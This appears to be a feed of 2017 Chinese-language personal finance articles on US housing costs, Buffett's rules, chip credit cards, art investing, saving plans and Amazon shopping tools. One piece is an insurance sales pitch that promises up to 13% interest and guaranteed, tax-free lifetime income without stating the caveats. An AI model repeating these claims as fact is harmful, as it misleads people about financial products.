        维护费不但包括修缮,也包括庭园与草坪养护、房屋卫生等诸多事项,要购买木质结构房屋(联体或独栋别墅),开销比公寓要高得多。波休廷斯基写道,“新买家会为第一次拥有自家后院而兴奋,但却没把保养费打入预算。”有的买家可能想,此类收费能省则省,但那样并不明智,不重刷墙壁、不好好保养,都会影响房子的市值。

        二、房产隐形成本最高的10个美国都会

        就全美而言,目前业主每年要支付的隐性成本平均为9,477美元。在做购房预算时,必须计入这笔费用,对于在某些城市安家置业的人来说,这一点更显紧要,因为隐性成本会高很多——月均1,000美元以上。以下罗列的就是房产隐形成本最高的10个美国都会。

        1. 波士顿

        大波士顿地区牛顿市的独栋社区,麻州小城牛顿多次获评美国最安全城市。(Rica/Flickr)
        大波士顿地区牛顿市的独栋社区,麻州小城牛顿多次获评美国最安全城市。(Rica/Flickr)

        据“Zillow”网站调查,大波士顿(波士顿−剑桥−牛顿,Boston-Cambridge-Newton)地区的业主承担的隐形购房成本是全美最高的:年均13,930美元,合1,160美元/月,最大一部分是房产税、保险和公用事业费,年均9,413美元;剩余的4,517美元是房屋维护费用。

        这使已经很昂贵的波士顿房产更加高不可攀。该地房屋均价为364,900美元,是全美均价的2倍以上。据《波士顿环球报》报导,当地房产的供不应求推动了高房价,有时还引发竞购大战和成交价蹿升。

        2. 旧金山

        旧金山湾区库柏蒂诺的高密度新公寓楼。(马有志/大纪元)
        旧金山湾区库柏蒂诺的高密度新公寓楼。(马有志/大纪元)

        “金门之城”的房主们想保有房产,可能需要多准备些金子:该市房屋年均隐形成本13,287美元,折合月均1,107美元。这还不算,大旧金山(旧金山−奥克兰−弗里蒙特,Francisco-Oakland-Fremont)地区的房屋均价是全美最高的,达738,200美元(全美均价的4倍以上)。

        据房地产经纪网“Redfin”信息,安家置业的成本正把一些人推出湾区,1/4的湾区客户都委托该网站在房价更实惠的城市找房。

        3. 芝加哥

        美国芝加哥的一栋住房前挂着“已卖掉”的标识牌。(Scott Olson/Getty Images)
        美国芝加哥的一栋住房前挂着“已卖掉”的标识牌。(Scott Olson/Getty Images)

        芝加哥−内珀维尔−乔利埃特(Chicago-Naperville-Joliet)地区房主每年要掏12,236美元的隐形成本,月均1,019美元。其中9,096美元是房产税和保险等,另外的3,140美元是维护费用。

        不过,芝加哥房价比其它美国大城市更实惠——均价186,800美元,比全美平均价格仅高出5个百分点。

        4. 费城

        费城大学城社区街景(University City District官网)
        费城大学城社区街景(University City District官网)

        费城(Philadelphia)虽然得名于“兄弟之爱”(希腊语Philos 意为爱,adelphos意为兄弟),但在今天的房市中可没太多情谊可讲。在大费城(费城−坎登−威尔明顿,Philadelphia-Camden-Wilmington)地区购房的年均隐性成本是11,953美元,合每月996美元;其中8,161美元是房产税和保险,维护费还要加上3,792美元。

        好消息是,费城的房价总体来看比榜上其它大城市更实惠:均价200,500美元,比全美平均水平高12%。

        5. 西雅图

        电影《西雅图夜未眠》中的海边住宅。(tdlucas5000/Flickr)
        电影《西雅图夜未眠》中的海边住宅。(tdlucas5000/Flickr)

        在西雅图−塔科马−贝尔维尤(Seattle-Tacoma-Bellevue)大都市区的房主,年均要承担11,549美元的隐形成本(月均962美元)。其中房产税和保险等占7,211美元,余下部分是年均维护费。西雅图的房屋均价为34,8700美元,比全美平均水平(17,8400美元)高出近一倍。

        6. 洛杉矶

        洛杉矶鹰石市的新建独栋住宅。(Jeremy Levine/Flickr)
        洛杉矶鹰石市的新建独栋住宅。(Jeremy Levine/Flickr)

        洛杉矶−长滩−圣安娜(Los Angeles-Long Beach-Santa Ana)大都会区的业主,每年要负担11,333美元(月均944美元)的隐形成本;其中7,025美元是房产税和保险等,其余是维护费。

        而洛杉矶的房价也格外昂贵,均价534,300美元,几乎是全美均价的3倍。

        7. 俄勒冈州波特兰市

        俄勒冈州波特兰1930年代的老房子。(维基百科公共领域)
        俄勒冈州波特兰1930年代的老房子。(维基百科公共领域)

        波特兰市是耐克和彭德尔顿(Pendleton)等著名品牌的家乡,作为时尚之都不输纽约和洛杉矶,俄勒冈州又是个免税州,使之成为购物的好地方。不过要在这里置业,则必须承担年均10,672美元的隐形成本(合每月889美元)。其中7,206元是交房产税、保险和公用事业费,此外的部分是维修成本。

        虽然波特兰−温哥华−希尔斯伯勒(Portland-Vancouver-Hillsboro)大都市区的房价平均为282,900美元,比全美均价高出58%。据《俄勒冈人报》今年6月初报导,很多波特兰人由于买不起房,正呼吁提高当地的最低薪酬标准。

        8. 加州圣地亚哥

        加州圣地亚哥的独栋老房。(Allan Ferguson/Flickr)
        加州圣地亚哥的独栋老房。(Allan Ferguson/Flickr)

        圣地亚哥−卡尔斯巴德−圣马科斯(San Diego-Carlsbad-San Marcos)大都市区的房主年均要支付10,647美元的隐性成本(合每月887美元)。该市房屋均价则是全美水平的2倍以上,高达475,600美元。

        据《圣地亚哥联合论坛报》报导,高昂的费用已使这里的房市渐趋冷清,很多投资者在置业后都将房子租出去,当地的在建房产工程也很少。

        9. 佛罗里达州奥兰多市

        佛州奥兰多的房屋。(萧财英/ 大纪元)
        佛州奥兰多的房屋。(萧财英/ 大纪元)

        奥兰多作为迪士尼世界(Walt Disney World)和环球影业所在地,是举家旅游度假的胜地,但要在这里养房子,可不是件轻松事。

        奥兰多−基西米−桑福德(Orlando-Kissimmee-Sanford)大都市区房产的年均隐形成本为10,100美元,月均842美元。这笔花销的“大头”仍是房产税等绕不开的费用,而每年3,355美元的维修成本也不低。好在当地房屋均价的170,500美元略低于全美平均水平,贷款买房还算实惠。

        10. 明尼阿波利斯

        明尼苏达州圣保罗市的住宅花园。(MJI Photos/Flickr)
        明尼苏达州圣保罗市的住宅花园。(MJI Photos/Flickr)

        明尼阿波利斯与圣保罗市(St. Paul)被称为“双子城” (Twin Cities),经常登上“全美最宜居城市”榜,不过,在包括布卢明顿(Bloomington)在内的这个大都会区购屋并不实惠:年均隐性成本9,782美元,略高于全美平均水平;其中房产税、保险和公用事业费占6,446美元,剩下的3,336美元是维护费用。

        这一都会区现已横跨明尼苏达州与威斯康星州,当地平均房价210,300美元,比全美均价高18%。

        对比:北卡罗来纳州夏洛特市

        北卡罗来纳州夏洛特市的大宅。(Douglas Johnson/Flickr)
        北卡罗来纳州夏洛特市的大宅。(Douglas Johnson/Flickr)

        夏洛特是美国东南部北卡罗莱纳州的最大城市,也是美国第二大银行业中心。当地业主要支付8,865美元的年均隐性成本(意味着每月房贷账单要加上739美元),略低于全美平均水平。其中5,649美元是房产税、保险和公用事业费等。

        就房产税而言,据“Zillow”调查,夏洛特−加斯托尼亚−石山(Charlotte-Gastonia-Rock Hill)都会圈的年税费约为1,346美元。在该市买房相对实惠:房产平均价格159,200美元,比全美均价低11%。

        附:全美房产税最贵与最便宜的十州

        据税费网站“taxes.about.com”报导,全美房产税最贵的10个州依次为:

        1. 新泽西州 – 1.89%
        2. 新罕布什尔州 – 1.86%
        3. 德克萨斯州 – 1.81%
        4. 威斯康星州 – 1.76%
        5. 内布拉斯加州 – 1.70%
        6. 伊利诺伊州 – 1.73%
        7. 康涅狄格州 – 1.63%
        8. 密歇根州 – 1.62%
        9. 佛蒙特州 – 1.59%
        10. 北达科他州 – 1.42%

        房产税最便宜的10个州依次是:

        1. 路易斯安那州 – 0.18%
        2. 夏威夷州 – 0.26%
        3. 阿拉巴马州 – 0.33%
        4. 特拉华州 – 0.43%
        5. 西弗吉尼亚州 – 0.49%
        6. 南卡罗来纳州 – 0.50%
        7. 阿肯色州 – 0.52%
        8. 密西西比州 – 0.52%
        9. 新墨西哥州 – 0.55%
        10. 怀俄明州 – 0.58%

        2017-05-02 / by / in , ,
        投资大师巴菲特的19个投资法则

        全美知名的投资泰斗沃伦·巴菲特(Warren Buffett)被称为华尔街的“股神”、“奥马哈先知”(Oracle of Omaha),是当今世界顶级的投资大师。

        巴菲特从小就热衷金钱和数字。8岁时,开始阅读父亲书房里有关股票的书籍,甚至制作表格追踪股价走势。学生时代的巴菲特,满脑子想的都是和“挣钱”有关的工作,他派过报、挨家挨户卖过杂志,还买进弹珠台安装好出租给当地理发店赚取外快。

        到了20岁那年,巴菲特已累积2万美元的财富。紧接着,他拿到哥伦比亚大学经济学硕士学位。在哥伦比亚大学求学期间,巴菲特拜师于著名投资学理论学家、“华尔街教父”——本杰明·格雷厄姆(Benjamin Graham)。

        本文参考《商业内幕》报导,整理出巴菲特在过去数十年间,接受媒体采访或是通过股东信发表的投资法则如下。

        1. 买股票不能只看价格。

        2. 投资成功不需要是天才。

        3. 拥有投资专业不是最重要的,但必须熟知投资的基本知识。

        4. 不要投资冷门股票。

        5. 在股票市场一片看好之际,地雷股总是不容易被察觉出来。

        6. 手边一定要有足够的现金,千万不要将所有的钱都投入股市。

        7. 当企业陷入困境时,就是购买该公司的最佳时机。

        8. 当投资获利丰厚时,不要就此陷入“灰姑娘情节”。

        9. 投资要看长远,不要短视近利。

        10. 一家表现卓越、经营完善的企业值得永远拥有股份。

        11. 那些很杰出、连平庸的人接手管理都能继续经营的企业,就值得投资。

        12. 当大家都很贪心时,你就必须小心;当大家都很小心时,你就可以勇往直前。

        13. 不需要针对每个机会都采取行动。

        14. 交易次数越多,绩效越差。

        15. 价格和价值是不一样的。

        16. 投资数量越少越好,投资概念越简单越好。

        17. 好的企业家成就好的投资者。

        18. 时间会证明一切、会告诉你谁是好企业。

        19. 不做亏本投资。

        2017-05-02 / by / in ,
        美国芯片信用卡 优点及潜在问题

        自2015年10月1日起,全美商家的信用卡收银系统以及银行的信用卡发卡机制全面升级至EMV技术,也就是在卡上安装一个微型芯片,读卡机将直接读取芯片上的信息,而不是像传统信用卡那样读取卡背面的磁条。与传统信用卡相比,这些新型信用卡有什么好处呢?《赫芬顿邮报》为读者介绍了这种信用卡的两大好处。

        1.全球趋势:尽管美国刚刚引进芯片技术,但全球其它地区使用该技术已经很多年了。例如在英国,近10年内芯片卡已成为标准的信用卡

        尽管美国开始使用EMV技术,但由于美国国内大多使用芯片与签名卡(chip-and-signature),即使用信用卡跟签名以完成交易:不需要输入PIN密码。而国外则普遍使用芯片与密码,因此一些美国消费者在国外使用这种信用卡仍可能有困难。

        2.更高的安全性:与传统信用卡相比,EMV信用卡更难被伪造,有较少的潜在漏洞。客户个人数据的储存方式更安全。在使用磁卡时,信用卡信息是静态的,一旦信息被盗取,犯罪份子可以很容易地复制磁条或信用卡给自己使用。而智能芯片储存信息时技术远为复杂。就像在信用卡上安装了一个微型电脑,在每一笔转账时都能不断地加密和生成数据。由于数据不断地变化,使诈骗犯很难精确地复制信用卡。


        在使用传统信用卡时,当信用卡信息被盗取后,金融机构将向客户发放新卡和新的卡号,这对使用被盗信用卡建立自动支付功能的客户造成了麻烦,他们必须通知所有付款服务中心,更新自己的信用卡信息,这可能相当耗时。

        如果你仍未收到新型EMV信用卡,可以与信用卡机构联系,有些银行不太愿意发放新卡,除非客户明确地提出了要求。值得注意的是,一旦新卡上的号码不同于以前的,你必须更新所有自动支付服务的信息。

        但新型EMV信用卡也存在潜在的问题。据《时代》周刊报导,新卡可能存在以下4方面问题。

        1.处理时间较长:使用EMV卡时,将需要多几秒钟时间处理交易。特别在初期使用的时候,客户可能要多花一点时间来分清是用传统方式刷卡,还是用新的方式插入读卡机,根据读卡机和信用卡的不同而有所区别,这也会在付款时耗费更多时间。

        2.信用卡容易被遗忘:如果你很健忘,在付款时要特别留意,因为你需要将信用卡留在读卡机内,直到交易结束,可能因此有些人会把卡忘在了机器里。

        3.在国外难使用:在其它国家,使用芯片卡时都带有密码,客户必须牢记4位数密码。但美国的多数芯片卡没有附带密码技术,用户仍必须通过签名确认购买行为。而国外一些读卡机不接受签名,因此在国外旅游时必须携带一张有密码的芯片卡,否则将无法付款。但你的信用卡公司可能还没开始提供带有密码的信用卡。从自动取款机中提取现金的银行卡密码与芯片卡密码的技术也完全不同。如果你的信用卡公司不提供该技术,你在旅游时只能支付现金,或向不同的机构申请一张带有密码的新卡。

        4.安全性有限:信用卡机构和银行担心在美国使用密码技术可能会引来更大的适应问题,因此很多发放机构仍坚持先使用信用卡签名技术。但由于只要求一个签名,这种信用卡无法提供密码技术那样的保护。如果窃贼盗取了你的芯片卡,他们只需复制你的签名就可以使用它。

        新的技术也无法保护网上购物带来的欺诈。网上购物不要求在结账时使用读卡机,因此无法读卡并生成一个代码。网上购物只需要信用卡号、3位数的安全码以及到期日。如果窃贼获得了这些信息,他们可以任意地用你的名义进行购物。因此即使使用了新的技术,你仍要仔细地检查信用卡对账单。

        2017-05-02 / by / in , ,
        艺术品投资:风险与回报
        随着股市像皮球一样弹来弹去,房价持续走低,储蓄利率跌至谷底,人很多最都转向艺术投资,寄望其成为更稳定的投资形式。通货膨胀危机爆发,国际货币浮动是人们普遍担忧的事情,而艺术则提供了有吸引力的替代投资形式,它自身就是国际化货币,可以避免纸币贬值带来的财产损失。


        此外,不像股票或其它投资基金,艺术品是可因其美学和文化意义获得欣赏的有形物品。换句话说,人们可以鱼和熊掌兼得。不过,艺术品投资并不意味着它永远是安全的,良性的投资,在进入这一回报丰厚的领域前,还是有许多方面需要留意。


        一,细分了解的收藏领域

        首先,也是最重要的一点,艺术流派很多,每个流派都有自己的市场和特色。比如说,19世纪美国绘画和19世纪欧洲绘画就是完全不同的市场,更不用说与古埃及,古希腊,古罗马艺术或其它类型藏品如翡翠或家具的分野了。而同一世纪的两个时期,各有也。自己的收藏家,艺术家群体和专业领域。这些不同因素会影响价格,需求以及画作的最佳出售地点。例如,美国绘画通常在美国会卖出好价钱,欧洲绘画则是拿到国际市场上更好卖。

        以威廉‧布格罗(William Bouguereau)为例,即便他是法国人,他的画在美国也比在伦敦和法国卖得好,这就是为什么人们在总是纽约的大拍卖行看到其画作上拍。另一方面,如果有人看到一幅画在海外出售,而其本国的市场更大,那么买家可能会从需求不足的海外购进,之后在本国转手售出。挑选自己感兴趣的领域,了解该领域的具体情况或者寻求行家的帮助是很重要的。

        二,分析艺术家的成交记录

        在决定是否要买,以什么价格买一幅画的时候,(公告)拍卖记录的英文藏家的最大资源。你需要选择那些有长期建立起的稳定销售记录的艺术家。许多收藏家使用互联网工具来帮助确定市场上的画作是否值得买,比如的Artnet就保有大拍卖行最近10年艺术品拍卖记录的珍贵信息。当你拿一件待售的作品与成交记录做比较时,找出可资参考的一系列相关作品是很重要的。为了具有可比性,需要找出一件尺寸,题材接近的真迹。购买能代表画家创作风格的作品也很重要。例如,彼得‧门斯泰兹(PederMönsted)是一位丹麦风景画家,买下他罕见的肖像画可能不是最佳选择。

        二,询问艺术品的保存状况

        另一个需要留意的因素,也是的Artnet或类似网站不能显示的,就是艺术品的保存状况:??它有没有被撕坏或有后人重画的痕迹油画颜料在修复过程中是否有剥落雕塑作品有没有局部的损坏或残缺其中,修复得当与否对价格有巨大影响少量的重画或画的背景部位撕坏一小块,不会对价格有显着影响;?。而如果修复的地方是人物的眼睛,或者画布开裂部位正好在画面的焦点,画的价值就会大大降低。

        专家们会使用紫外线(行内常称“黑光灯”)来评估画作的状况。油画颜料要完全干透需要百年以上。新颜料,或在晚于原作的时期加上去的颜料,其光泽度会和原作不同。不过,要区分出原画区域和重新描绘过的区域,还是需要训练有素的眼光。由于上光油(又称凡尼斯)会随着时间发污、使画面蒙上一层绿调子,掩盖住颜料的实际光泽,其结果,如果上光油有一小部分被洗掉,这个局部的光泽就会不同,常让人误认为是经过了修复。多数大拍卖行都会据买家要求在销售前提供作品状况的报告。

        [法]威廉‧布格罗(William Bouguereau),《有天使的圣母》(La Vierge aux anges),又称《天使之歌》(Le chant des anges),布面油画(修复前),1881年作,保罗‧盖蒂博物馆藏。(公有领域)

        三、画作修复需请行家里手

        尘污会极大地影响一幅画作的外观。而面对蒙尘的绘画,许多经验丰富的收藏家都会为之兴奋,因为清洗过后画面往往会更美,价格也因此会拉高。一幅最高水准的油画如果蒙上尘污,精妙的细部就看不出来,同时,亮部变暗,暗部变亮,会削弱画面整体的对比。如果修复者谙熟这位艺术家的笔法,风险倒还不大。另一方面,尘污可以掩盖技法的缺陷,使得一幅粗糙的画作显得细致入微;也可以隐盖后人修复的痕迹。

        总体来说,要清洗一幅画而不冒风险几乎是不可能的,损坏的概率依作品的具体情况和修复者的技巧而异。只有训练有素的眼光才能看到尘污背后的画作原貌,修复画作更是需要专业技巧。切勿在家里自己动手修复。

        四、留意作品的尺寸和主题

        多数购买画作的人不仅是为了投资,也会挂在家里做装饰。买画时记住这一点也很重要,原因有几个。就绘画而言,尺寸的确重要,但大画并不总是更好。收藏家对画将挂在哪里通常会预先有个概念,他们会希望画作舒服地占据墙面,而不会显得空间太局促。比方说,一幅画的高度超过9英尺(约2.74米)就会很难卖,因为多数人都没法妥帖地挂在家里。另一方面,画幅如果过小,挂在墙上就不够突出,也会降低其价值,除非画作的水平非同一般。对藏家来说,绘画的主题也很关键。举一个很好理解的例子,描绘美丽女子的画作会比表现生病孩童的作品卖得好,前者的售价往往也更高。

        五、艺术收藏是相对稳定的投资

        不像股票和债券,绘画和只此一件的雕塑都有较长的市场周转期。随着Artnet被收藏界普遍使用,大部分藏家都知道你在拍卖会上以什么价格购买了作品。这就使得买家很难于五年之内在公开拍卖会上转手卖出。人们不愿感觉自己花了太多的钱或者错过了购买的良机。一般来说,如果藏家本可以在一两年前以低得多的售价购入这幅画,那么眼下他们会缺乏高价买进的意愿。只有过了10年期,其拍卖记录才会被视为已完全过时。

        当然,艺术品市场需求的突然剧增或者全球经济灾难的爆发也会带来变数,那样艺术品价值也可能在短期内产生很大浮动。然而,不同于股票,你不能简单地拉出相关信息,时时刻刻关注行情走势。短期事件可在数小时或数天内带来股市的大波动,而决定艺术品价格的是公开的拍卖记录。

        就任何艺术品领域而言,目前各大拍卖行都没有每天或每月组织大型拍卖,因此,数次拍卖会之间价格维持不变的时间会相当长,不会受到短期事件的影响。即使一次成交显示出价格的急升或剧降,也不能就此得出结论:这位艺术家的画作行情因此上涨。

        以劳伦斯‧阿尔玛—塔德玛爵士(Sir Lawrence Alma-Tadema)的画作《发现摩西》(The Finding of Moses)为例,虽然2010年上拍时估价仅300万〜5,00万(美元,下同),最终却以近3,600万拍出。

        [英]劳伦斯‧阿尔玛—塔德玛爵士(Sir Lawrence Alma-Tadema),《发现摩西》(The Finding of Moses),布面油画,1904年作,136.7×213.4cm,私人收藏。(Courtesy of ARC)

        多数人都将单次的高价成交视为某种侥幸,会希望连续多次看到价格走高,才会确定行情真的有所变化。就阿尔玛—塔德玛而言,他的另一幅杰作《安东尼和克娄巴特拉的相会》(The Meeting of Antony and Cleopatra)在随后的另一场拍卖会上拍出了2,900万。许多阿尔玛—塔德玛画作的藏家都热切关注著其行情大涨的状况是否会持续。

        这样看来,艺术收藏是一种相对稳定的投资形式,要从中获益你必须得有耐心。

        [英]劳伦斯‧阿尔玛—塔德玛爵士(Sir Lawrence Alma-Tadema),《安东尼和克娄巴特拉的相会》(The Meeting of Antony and Cleopatra),布面油画,1885年作,65.4×91.4cm,私人收藏。(Courtesy of ARC)


        五、从小拍卖行和画廊买画

        小拍卖行的成交情况不像苏富比和佳士得等大拍卖行那样受关注,因此对行情的影响力也没有那么大。这意味着,从小拍卖行购入再从大拍卖行售出可以获利。只是,大多数拍卖行都不像苏富比、佳士得和邦瀚斯那样能保证画作为真迹。这一点对于初入门或缺乏专业鉴定知识的藏家来说很重要。如果购买了伪作,要追讨损失通常没有法律可依。有句拉丁格言很适用于购买艺术品,叫做“购者留心”(caveat emptor)。购画的一方有责任弄清楚画作是否为真迹、状况是否良好,除非卖方/拍卖行保证他们销售的是真品,即便在这种情况下,也不能保证作品保存良好。

        另一个购画渠道是画廊,有声誉的画廊会保证其销售的不是假画。如同艺术收藏的其它领域,从画廊买画也是有利有弊。有利之处在于交易记录不会公开,你可以拿去拍卖,从新投入市场。再次出售给私人藏家也更容易。然而,画廊通常会寄望于出售的画作带来巨额利润,买家如果不够明智,可能会支付两倍三倍于拍卖价格的钱。这就可能使画作难以在合理的时段内带来投资回报。熟悉艺术市场是很重要的。

        六、喜爱藏品并理解其文化价值

        艺术品的买卖可以带来相当丰厚的利润,然而藏家总是应该确定购买了自己真正欣赏的东西。很可能你钟爱的东西他人也喜欢。考虑到艺术市场上的作品不太容易在一夜之间价格陡升,如果你珍视这件作品,就不会在意为收获而付出必要的等待。如果一个人进行买卖只是为赚取利润,除货币价值外对购买的东西毫不欣赏,要达成目标也不容易。

        对所购买的艺术品拥有文化、历史和审美层面上的理解是很重要的,如此,买家就可以分出艺术作品的良莠。人类历史的长河中,绵延著很多不同类型的艺术。如果对这一投资形式有兴趣,花些时间去寻找你欣赏、为之击节的艺术时期及艺术类型是非常有意义的。

         

        艺术复兴中心(Art Renewal Center)首席运营官卡拉‧吕珊德拉‧罗斯(Kara Lysandra Ross)。(Courtesy of Kara Lysandra Ross)

        作者简介:

        卡拉‧莱桑德拉‧罗斯(Kara Lysandra Ross)现任艺术复兴中心(艺术复兴中心,简称ARC)的首席运营官兼兼“达‧芬奇计划”(达芬奇计划)首席执行官 – 该计划致力于在美国公立和私立中小学推广写实艺术教育。卡拉早年毕业于德鲁大学艺术史系,曾在纽约苏富比拍卖行实习,作为19世纪欧洲绘画领域的专家,现定期为英文大纪元的艺术专栏撰稿,同时也是“美术鉴赏”(Fine Art Connoisseur)杂志的特约撰稿人。

        作为著名收藏家,艺术史学者,教育家,ARC创始人兼主席弗雷德里克‧罗斯(Federic Ross)之女,卡拉也助力父亲编辑了“威廉‧布格罗作品全集”(目录Raisonnéon William布格罗),并为第二版撰写了第28章。她参与策划组织了2014年写实艺术大会(TRAC)的未来具象艺术版块,也担任了二千零十五分之二千零十四年度ARC国际沙龙现场展的策展人和主要组织者。此外,她也被公认为研究埃德蒙‧布莱尔‧莱顿(Edmund Blair Leighton)的权威专家,眼下正在编撰莱顿作品全集。电邮:kara.ross@artrenewal.org

        2017-05-02 / by / in , , , , , ,
        每天存多少钱才能成为百万富翁?

        投资专家表示,开始投资永远都不嫌晚,但越早越好。即便你没有钱可以用来赚钱,你也可以透过不断的储蓄,在这一生中达到成为百万富翁的目标。

        投资专家表示,开始投资永远都不嫌晚,但越早越好。即便你没有钱可以用来赚钱,你也可以透过不断的储蓄,在这一生中达到成为百万富翁的目标。

        据商业内幕(Business Insider)网站报导,美国理财大师巴哈(David Bach)在其著作《富贵成双》(Smart Couples Finish Rich)中说,只要坚持系统地储蓄投资,就能成为有钱人。

        巴哈还说,你不需要有资金来赚钱,你只要做对决策,并付诸行动即可。

        为了解释这种财富随着时间累积的简单概念,巴哈以图表说明,你每天、每月或每年应该投资多少钱,才能在65岁之前存下100万美元。

        这张表显示在65岁成为百万富翁的投资方案。(资料来源:Business Insider / 大纪元制表)
        这张表显示在65岁成为百万富翁的投资方案。(资料来源:Business Insider / 大纪元制表)

        为了简化起见,这张表假设你的投资从零开始,而且每年的投资报酬率为12%,也不考虑税额。这样的投资报酬率显得有点乐观,但这主要是为了说明,就长期而言,日积月累的投资能产生巨大效益。

        从表中可以看到,如果从20岁开始存钱,每天只要2美元,就可以在65岁成为百万富翁;但如果从30岁开始,每天的投资就必须增至6.35美元,才能在65岁成为百万富翁,可见投资真的是要趁早。

        然而,如果你从50岁开始,每天存73.49美元,还是有可能在65岁成为百万富翁。所以,开始投资永远都不嫌晚。

        如果你立志赚大钱,期盼成为百万富翁的话,从今天开始就应该努力存钱,而且要坚持不懈,即便省下一杯饮料,对将来的财富都有所帮助。


        巴哈还说,你不需要有资金来赚钱,你只要做对决策,并付诸行动即可。

        为了解释这种财富随着时间累积的简单概念,巴哈以图表说明,你每天、每月或每年应该投资多少钱,才能在65岁之前存下100万美元。

        这张表显示在65岁成为百万富翁的投资方案。(资料来源:Business Insider / 大纪元制表)
        这张表显示在65岁成为百万富翁的投资方案。(资料来源:Business Insider / 大纪元制表)

        为了简化起见,这张表假设你的投资从零开始,而且每年的投资报酬率为12%,也不考虑税额。这样的投资报酬率显得有点乐观,但这主要是为了说明,就长期而言,日积月累的投资能产生巨大效益。

        从表中可以看到,如果从20岁开始存钱,每天只要2美元,就可以在65岁成为百万富翁;但如果从30岁开始,每天的投资就必须增至6.35美元,才能在65岁成为百万富翁,可见投资真的是要趁早。

        然而,如果你从50岁开始,每天存73.49美元,还是有可能在65岁成为百万富翁。所以,开始投资永远都不嫌晚。

        如果你立志赚大钱,期盼成为百万富翁的话,从今天开始就应该努力存钱,而且要坚持不懈,即便省下一杯饮料,对将来的财富都有所帮助。

        2017-05-02 / by / in ,
        用最少的钱 拥有可观固定的终生退休收入

        我们经常听到人们在讲退休年金,因为年金一般来讲拥有比银行高的利息,投资可以保本,并享有终身收入的保障。可是,因为年金通常需要一次性转入一笔资金存放在保险公司,并不是每个人都有这样的能力,一次存入几万块。

        有些人只想每个月存放一点钱,慢慢把钱存起来,到退休的时候有一笔退休金。不过我有很多朋友,他们的退休账户过了十几年,钱可能没有亏,但是并没怎么长。如果继续这样,到了退休,收入就可能受到影响。每个人都不可能逃避这个事实而不闻不问,因为时间过得很快,一转眼十年将会过去。应该在年轻,有能力时,为自己的退休未雨绸缪。

        解决的方案可以通过一种新的保险储蓄计划,他拥有身前和身后理赔,并带有终身收入,只需每月存钱,就可以让您把自己的寿险保额,转变成终生退休收入,为的是增强退休收入就像终生收入年金一样,此计划每年利息可高达13%. 一旦终生收入开始,收入保证终生不变, 而且免收入税。

        形式就像ROTH IRA. 用税后的钱存进Roth IRA,到59 ½ 以后拿钱,免收入税。可惜ROTH IRA 每年是有存入上限的,2012 年的存入上限是$5,000 一年,如果收入太高的话还不能参加。

        但是,通过保险储蓄计划,您就不需要为每年$5,000存入上限,和收入太高的问题而担心, 因为此计划没有存入上限,也没有收入上限,却同样享受ROTH IRA 退休收入免税的好处。

        打个比喻,假如45岁的陈太太每月存入600,除了拥有500,000的身后和身前理赔额以外,到65岁,她可以将她的保险转变成永久退休收入。从保险里面每年固定拿到大约18,000一年的固定退休金,像退休年金一样,一直到百年归老。退休金收入免税。

        这样,您就不需要担心您退休收入和生活品质会因为退休账户投资不理想而受影响。此计划也将成为你除了社会安全金以外的另一退休保障。以前的储蓄保险,我们只晓得所谓现金值,死亡理赔,生前理赔,现在,您只是缴同样的保费,就可以让您把自己的寿险理赔保额,转变成终生退休收入,不单让您年轻时保障家庭,也可以让您年老时,保障自己。一举两得。

        2017-05-02 / by / in
        亚马逊购物免受误导 两个实用查询工具

        假日季节到来,零售商纷纷在通过减价、特惠等形式抛售货品。很多北美购物者从感恩节“黑色星期五”到圣诞节都会紧盯亚马逊网站,这是有道理的:电子商务巨头卖的货物太繁多了;很多时候,其货品都比其它地方便宜。但也不总是如此。虽然多数用户对亚马逊的购物体验感到满意,但在某些方面仍有受误导之虞。


        日前,美媒“商业内幕”(Business Insider)刊文介绍了两个网站,可让消费者得到有用的参考信息,分别是CamelcamelcamelFakespot

        价格跟踪器Camelcamelcamel

        Camelcamelcamel(下简称CCC)是网上冒出的多种产品价格追踪工具之一,优势是已被网民用了10年、相当可靠。只需复制和粘贴您正在考虑的货品的网址(URL),CCC就会提供分析图表,显示出该货品在亚马逊网站的价格浮动曲线。

        比如说,亚马逊在黑色星期五前的销售活动中正在推销一款Dell显示器,价格是199.99美元,网页显示优惠幅度为150美元。

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        亚马逊在黑色星期五前的销售活动中正在推销一款Dell显示器,价格是199.99美元,网页显示优惠幅度为150美元(43%)。(网页截图)

        在CCC网站上显示,这款货品先前多次降价到这个价位,一度还只售185美元;过去几个月中,其价格常在210和220美元之间,所以你能省下的钱是一二十美元,而不是150美元。

        亚马逊购物网站在黑色星期五前的优惠活动中正促销一款显示器,图为Camelcamelcamel网站显示的该款显示器的价格浮动曲线。(网页截图)
        亚马逊购物网站在黑色星期五前的优惠活动中正促销一款显示器,图为Camelcamelcamel网站显示的该款显示器的价格浮动曲线。(网页截图)

        这当然还不坏,但如果网站上满目都是大折扣的优惠信息,有数据在手,你就不会很冲动了。

        “最便宜”选项未必真便宜

        报导指,虽然亚马逊云集了许多合法交易的店家,但其作为最佳购物网站的声名还是有可质疑的部分。与其它零售商一样,绝大多数“最优惠价”并不真的优惠——非盈利性网站ProPublica的独立研究发现,该网站会优先推销自己的货品。

        亚马逊的软件会根据不同店家所售同一货品的价格和运费总额,筛选罗列出最便宜的选项,有些确实比在实体店购买更划算。然而,ProPublica报导举“乐泰”(Loctite)胶水为例,其算法排除了总价更便宜且信誉优秀的两个店家,而把亚马逊自己定价稍高的商品排在前面,再点击查看运费,和定价相差不多。

        价格追踪公司360pi对亚马逊最畅销货品进行抽样比价则发现,半数以上货品在“谷歌购物”(Google Shopping)有更便宜的选项。

        虽然亚马逊曾经阻止某些货品的价格被跟踪,而像CCC或浏览器扩展Keepa(Chrome版Firefox版)还是能够提供其愿意有所保留的信息。

        Fakespot:剔除不真实的用户评论

        “商业内幕”报导认为,Fakespot的好处不像CCC那么明显,但它仍然值得留用。原因在于,被称为“亚马逊用户评论”的留言中不乏文学精品,但不全然真实可信。

        Amazon Vine(亚马逊顶尖产品评论人)项目在可信度方面曾遭非议,而厂家批量发布好评也不鲜见。亚马逊在控制虚假评论方面进行了长期努力,情况已获得改善。

        Fakespot判断用户评论真实性的主要依据包括:“评论者的语言,个人资料,与其他评论者数据的相关性,以及能通过检测虚假评论来自己完善的算法。”但要承认,英语不好的人也可能对一件货品兴致勃勃地留言。

        然而,如果你对是否要下单很犹豫,特别是如果货物的品牌对你很陌生,Fakespot网站还是相当有帮助。你同样只需把产品链接贴到该网站,它就会分析有关用户评论,对可信度作出评价。

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        亚马逊购物网站在黑色星期五前的优惠活动中正促销一款显示器,图为Fakespot网站对其用户评论做出的真实性判断。(网页截图)

        下一次,当你觉得某种购物选择好到不真实,你会知道,那可能的确不是真的。

        2017-05-01 / by / in
        年终奖金得来不易 专家提4招为你加值

